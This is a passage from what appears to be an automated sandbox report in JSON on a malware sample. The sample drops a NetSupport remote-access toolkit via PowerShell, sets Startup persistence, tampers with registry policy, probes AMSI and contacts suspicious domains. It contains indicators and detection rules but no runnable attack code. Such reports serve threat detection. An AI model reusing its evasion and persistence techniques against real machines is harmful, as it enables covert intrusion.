Related","description":"Contacted domain: \"validatorxrp.dev\" has high entropy\n Contacted domain: \"jasjdpoekkqwda.com\" has high entropy","id":"network-81","level":"informative","mitre_attack_id":"T1568.002","name":"High entropy domain detected","origin":"Network Traffic","relevance":5,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"System Security","description":"Found reference to API \"DefineDosDeviceA\" (Indicator: \"DefineDosDevice\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-466","level":"informative","mitre_attack_id":"T1543.003","name":"Contains ability to set/delete MS-DOS device name (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00002888.00000000.163893.10710000.00000002.mdmp, 00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"Warning. OpenProcessToken failed, e=%d\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"OpenProcessToken FAILED (%d)\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00006340.00000000.164028.010F9000.00000002.mdmp\")","id":"string-306","level":"informative","mitre_attack_id":"T1134.001","name":"Contains ability to impersonate access tokens (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found string \"Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" (Indicator: \"software\\microsoft\\windows\\currentversion\\uninstall\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found string \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{787DFE02-CC6C-4AAC-B455-166BBEE4C5AF}\" (Indicator: \"software\\microsoft\\windows\\currentversion\\uninstall\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found string \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{C412F191-BB15-4e40-9CCC-97E571D2C6BF}\" (Indicator: \"software\\microsoft\\windows\\currentversion\\uninstall\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found string \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{3F709462-4AD7-482F-8761-C6ED6AD145A1}\" (Indicator: \"software\\microsoft\\windows\\currentversion\\uninstall\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-663","level":"informative","mitre_attack_id":"T1497.002","name":"Able to identify virtual environment using user register activity","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$46","id":"string-141","level":"informative","mitre_attack_id":"T1010","name":"Contains ability to retrieve open application windows (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00002888.00000000.163893.10710000.00000002.mdmp, 00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; Source: \"00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"GetThreadContext\" (Indicator: \"GetThreadContext\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"SetThreadContext\" (Indicator: \"SetThreadContext\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"SuspendThread\" (Indicator: \"SuspendThread\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-161","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to retrieve/modify process thread (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"\"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_w2dbsgcb.yzg.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_zduujwhy.juo.psm1\"","id":"api-267","level":"informative","mitre_attack_id":"T1005","name":"Writes files in a temp directory","origin":"API Call","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Network Related","description":"Found reference to API \"EnumPrinters failed (2), error %d\" (Indicator: \"EnumPrinters\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"EnumPrinters failed (1), error %d\" (Indicator: \"EnumPrinters\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"EnumPrinters failed (4), error %d\" (Indicator: \"EnumPrinters\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"EnumPrinters failed (3), error %d\" (Indicator: \"EnumPrinters\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"EnumPrintersA\" (Indicator: \"EnumPrinters\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-190","level":"informative","mitre_attack_id":"T1135","name":"Contains ability to query information about shared network resources (API string)","origin":"File/Memory","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$47","id":"api-0","level":"suspicious","mitre_attack_id":"T1055","name":"Writes data to a remote process","origin":"API Call","relevance":6,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Pattern Matching","description":"YARA signature to detect netsupport_manager RMM tool file \"PCICL32.DLL\"\n YARA signature to detect netsupport_manager RMM tool file \"HTCTL32.DLL\"\n YARA signature to detect netsupport_manager RMM tool file \"remcmdstub.exe\"\n YARA signature to detect netsupport_manager RMM tool file \"AudioCapture.dll\"\n YARA signature to detect netsupport_manager RMM tool file \"PCICHEK.DLL\"\n YARA signature to detect netsupport_manager RMM tool file \"TCCTL32.DLL\"\n YARA signature to detect netsupport_manager RMM tool file \"pcicapi.dll\"\n YARA signature to detect netsupport_manager RMM tool file \"neservice.exe\"","id":"yara-557","level":"suspicious","mitre_attack_id":"T1219","name":"YARA signature match - RMM tools","origin":"YARA Signature","relevance":5,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"$48","id":"api-9","level":"informative","mitre_attack_id":"T1057","name":"Queries process information","origin":"API Call","relevance":4,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00004744-00000C2C-1528884397\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00004744-00000C2C-1529588122\")","id":"string-659","level":"informative","mitre_attack_id":"T1497.001","name":"Able to identify virtual environment by using API string","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Observed string: \"ver unknown\" (Indicator: \"ver \") in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp\n Observed string: \"ver dead\" (Indicator: \"ver \") in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp","id":"string-327","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve operating system version","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"System Security","description":"Found reference to API \"InitializeProcThreadAttributeList\" (Indicator: \"InitializeProcThreadAttributeList\"; Source: \"00000000-00002888.00000001.165813.72691000.00000020.mdmp\")\n Found reference to API \"UpdateProcThreadAttribute\" (Indicator: \"UpdateProcThreadAttribute\"; Source: \"00000000-00002888.00000001.165813.72691000.00000020.mdmp\")","id":"string-402","level":"informative","mitre_attack_id":"T1562.001","name":"Contains ability to modify process attributes (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"System Security","description":"\"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"0100000000\")","id":"registry-27","level":"informative","mitre_attack_id":"T1090.001","name":"Modifies proxy settings","origin":"Registry Access","relevance":10,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"\"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00004744)","id":"api-179","level":"informative","mitre_attack_id":"T1562.001","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","origin":"API Call","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Pattern Matching","description":"YARA signature for AES encryption matched on file \"7z.dll\"","id":"yara-103","level":"informative","mitre_attack_id":"T1027","name":"YARA signature match - AES encryption","origin":"YARA Signature","relevance":5,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found string \"GetLogicalDriveStringsW\" (Indicator: \"getlogicaldrivestringsw\"; Source: \"00000000-00006340.00000000.164028.010F9000.00000002.mdmp\")","id":"string-730","level":"informative","mitre_attack_id":"T1083","name":"Able to determine the valid logical drives on the computer","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00004744)\n \"neservice.exe\" called \"GetComputerNameA\" (UID: 00000000-00002888)\n \"neservice.exe\" called \"GetComputerNameW\" (UID: 00000000-00002888)","id":"api-141","level":"informative","mitre_attack_id":"T1082","name":"Calls an API typically used to retrieve computer name","origin":"API Call","relevance":2,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"System Security","description":"Found reference to API \"SetFileAttributesA\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00002888.00000001.165813.72691000.00000020.mdmp\")\n Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00006340.00000000.164028.010F9000.00000002.mdmp\")","id":"string-426","level":"informative","mitre_attack_id":"T1222","name":"Contains ability to modify file attributes (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"$49","id":"api-234","level":"informative","mitre_attack_id":"T1573.002","name":"Calls an API typically used to import asymmetric cryptographic keys into a CSP","origin":"API Call","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found string \"SELECT * FROM %s\" (Indicator: \"select * from \"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-433","level":"informative","mitre_attack_id":"T1047","name":"Contains ability to execute a WMI query","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"NetWkstaGetInfo\" (Indicator: \"NetWkstaGetInfo\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-451","level":"informative","mitre_attack_id":"T1016","name":"Contains ability to retrieve configuration of a workstation (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")","id":"registry-18","level":"informative","mitre_attack_id":"T1012","name":"Accesses Software Policy Settings","origin":"Registry Access","relevance":10,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"$4a","id":"string-272","level":"informative","mitre_attack_id":"T1057","name":"Contains ability to retrieve/open a process (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"$4b","id":"api-7","level":"informative","mitre_attack_id":"T1129","name":"Loads modules at runtime","origin":"API Call","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$4c","id":"string-229","level":"informative","mitre_attack_id":"T1012","name":"Able to query registry keys (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"System Security","description":"\"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\")","id":"registry-19","level":"informative","mitre_attack_id":"T1112","name":"Modifies Software Policy Settings","origin":"Registry Access","relevance":10,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$4d","id":"string-201","level":"informative","mitre_attack_id":"T1614","name":"Able to query system locale information (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"\"48a683e97f9f8cada3cbcc287632ddf8024a708ddb99e54b455b549546073542.bin\" was detected as \"plain text\" and name: \"Format\"\n \"7z.dll\" was detected as \"plain text\" and name: \"Format\"\n \"7z.exe\" was detected as \"plain text\" and name: \"Format\"\n \"neservice.exe\" was detected as \"plain text\" and name: \"Format\"\n \"pcicapi.dll\" was detected as \"plain text\" and name: \"Format\"\n \"AudioCapture.dll\" was detected as \"plain text\" and name: \"Format\"\n \"remcmdstub.exe\" was detected as \"plain text\" and name: \"Format\"\n \"PCICL32.DLL\" was detected as \"plain text\" and name: \"Format\"\n \"TCCTL32.DLL\" was detected as \"plain text\" and name: \"Format\"\n \"HTCTL32.DLL\" was detected as \"plain text\" and name: \"Format\"\n \"PCICHEK.DLL\" was detected as \"plain text\" and name: \"Format\"","id":"static-157","level":"informative","mitre_attack_id":"T1027","name":"Matched Compiler/Packer signature (DIE)","origin":"Static Parser","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"External Systems","description":"1/26 Antivirus vendors marked sample as malicious (3% detection rate)","id":"avtest-0","level":"suspicious","name":"Sample was identified as malicious by at least one Antivirus engine","origin":"External System","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$4e","id":"binary-1","level":"suspicious","mitre_attack_id":"T1105","name":"Drops executable files","origin":"Binary File","relevance":10,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"$4f","id":"amsi-2","level":"informative","mitre_attack_id":"T1059.001","name":"Scripts code detected via AMSI (Antimalware Scan Interface)","origin":"Windows Antimalware Scan Interface","relevance":5,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"Process \"powershell.exe\" executed suspicious script","id":"amsi-0","level":"informative","mitre_attack_id":"T1059","name":"Suspicious scripts detected via AMSI (Antimalware Scan Interface)","origin":"Windows Antimalware Scan Interface","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"FindWindowA\" (Indicator: \"FindWindowA\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"FindWindowExA\" (Indicator: \"FindWindowExA\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-413","level":"informative","mitre_attack_id":"T1010","name":"Contains ability to find open windows (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"\"SELECT * FROM %s\" (Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp, Indicator: \"select * from %s\")\n \"Select the group from the dropdown list below and click OK to join it\" (Source: 00000000-00002888.00000002.167735.111EA000.00000002.mdmp, Indicator: \"select the group from the dropdown list below and click ok to join it\")\n \"Select your team from the dropdown list below and click OK to join it\" (Source: 00000000-00002888.00000002.167735.111EA000.00000002.mdmp, Indicator: \"select your team from the dropdown list below and click ok to join it\")\n \"Select Control to Chat to:%Select Control(s) to disconnect from:\" (Source: 00000000-00002888.00000002.167735.111EA000.00000002.mdmp, Indicator: \"select control to chat to:%select control(s) to disconnect from:\")","id":"string-16","level":"informative","mitre_attack_id":"T1213","name":"Contains SQL queries","origin":"File/Memory","relevance":2,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$50","id":"string-207","level":"informative","mitre_attack_id":"T1083","name":"Contains ability to retrieve file and directory information (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"Found PE header \"MZ\" - Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"memorydump-8","level":"informative","mitre_attack_id":"T1055","name":"Found PE header in memory","origin":"Memory Dumps","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"QueryServiceStatus\" (Indicator: \"QueryServiceStatus\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"OpenSCManagerA\" (Indicator: \"OpenSCManager\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"EnumServicesStatusA\" (Indicator: \"EnumServicesStatus\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-191","level":"informative","mitre_attack_id":"T1007","name":"Able to enumerate service (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Network Related","description":"Found reference to API \"PeekNamedPipe\" (Indicator: \"PeekNamedPipe\"; Source: \"00000000-00002888.00000001.165813.72691000.00000020.mdmp\")\n Found reference to API \"CreatePipe\" (Indicator: \"CreatePipe\"; Source: \"00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"CreatePipe2\" (Indicator: \"CreatePipe\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"CreateNamedPipe %s failed, error %d\" (Indicator: \"CreateNamedPipe\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"CreateNamedPipeA\" (Indicator: \"CreateNamedPipe\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"ConnectNamedPipe\" (Indicator: \"ConnectNamedPipe\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-210","level":"informative","mitre_attack_id":"T1559","name":"Contains ability to create/connect to a named pipe (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Network Related","description":"Found reference to API \"InternetQueryOptionA\" (Indicator: \"InternetQueryOption\"; Source: \"00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-314","level":"informative","mitre_attack_id":"T1016","name":"Contains ability to retrieve internet settings (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Ransomware/Banking","description":"Found reference to API \"*SwitchDesktop\" (Indicator: \"SwitchDesktop\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"SwitchDesktop\" (Indicator: \"SwitchDesktop\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"CreateDesktopA\" (Indicator: \"CreateDesktop\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-541","level":"informative","name":"Contains ability to create/switch the desktop (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"System Security","description":"Found string \"net stop client32\" (Indicator: \"net stop\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-522","level":"informative","mitre_attack_id":"T1489","name":"Contains ability to stop windows services","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"\"validatorxrp.dev\"","id":"network-0","level":"informative","mitre_attack_id":"T1071","name":"Contacts domains","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"$51","id":"string-319","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to set/get the last-error code for a calling thread (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"Found string \"User-Agent: NetSupport Manager/1.3\" (Indicator: \"user-agent: \"; Source: \"00000000-00002888.00000000.163893.05C40000.00000004.mdmp, 00000000-00002888.00000001.165813.05C40000.00000004.mdmp, 00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000002.167735.05C40000.00000004.mdmp\")","id":"string-127","level":"informative","mitre_attack_id":"T1071.001","name":"Found user-agent related strings","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"powershell.exe\" opens a process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (UID: 00000000-00004744)\n \"powershell.exe\" opens a process \"C:\\Windows\\explorer.exe\" (UID: 00000000-00004744)","id":"api-237","level":"informative","mitre_attack_id":"T1057","name":"Opens a handle to the specified process","origin":"API Call","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"powershell.exe\" trying to access LNK file \"C:\\%AppData%\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell.lnk\"\n \"powershell.exe\" trying to access LNK file \"C:\\Windows\\%APPDATA%\\MICROSOFT\\WINDOWS\\START MENU\\PROGRAMS\\WINDOWS POWERSHELL\\WINDOWS POWERSHELL.LNK\"\n \"powershell.exe\" trying to access LNK file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell.lnk\"\n \"powershell.exe\" trying to access LNK file \"%WINDIR%\\%APPDATA%\\MICROSOFT\\WINDOWS\\START MENU\\PROGRAMS\\WINDOWS POWERSHELL\\WINDOWS POWERSHELL.LNK\"\n \"powershell.exe\" trying to access LNK file \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell.lnk\"\n \"7z.exe\" trying to access LNK file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\neservice.lnk\"\n \"7z.exe\" trying to access LNK file \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\neservice.lnk\"","id":"api-203","level":"informative","mitre_attack_id":"T1083","name":"Tries to access LNK files (Windows shortcut)","origin":"API Call","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"\"powershell.exe\" writes archive file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Nfservice\\at.7z\"","id":"api-168","level":"informative","mitre_attack_id":"T1560","name":"Writes archive files","origin":"API Call","relevance":5,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Network Related","description":"Found reference to API \"WNetGetConnectionA\" (Indicator: \"WNetGetConnection\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"WNetCancelConnection2A\" (Indicator: \"WNetCancelConnection\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"WNetAddConnection2A\" (Indicator: \"WNetAddConnection\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-923","level":"informative","mitre_attack_id":"T1135","name":"Able to access Windows networking-related API (String)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-868","level":"informative","mitre_attack_id":"T1558","name":"Able to access credential file using Kerberos","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00004744)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}\n \"neservice.exe\" called \"GetUserNameA\" (UID: 00000000-00002888)","id":"api-135","level":"informative","mitre_attack_id":"T1033","name":"Calls an API typically used to retrieve user name","origin":"API Call","relevance":2,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"GetModuleFileNameW@KERNEL32.DLL at 00000000-00006340-16389-94-010C4B58","id":"stream-131","level":"suspicious","mitre_attack_id":"T1106","name":"Contains ability to retrieve the fully qualified path of module","origin":"Hybrid Analysis Technology","relevance":5,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"\"neservice.exe\" loaded module \"%WINDIR%\\SysWOW64\\dbghelp.dll\" at 72060000","id":"module-16","level":"informative","mitre_attack_id":"T1518.001","name":"Loads the debugger/analysis tool module","origin":"Loaded Module","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"powershell.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","id":"api-264","level":"informative","mitre_attack_id":"T1055.003","name":"Creates a thread in a self 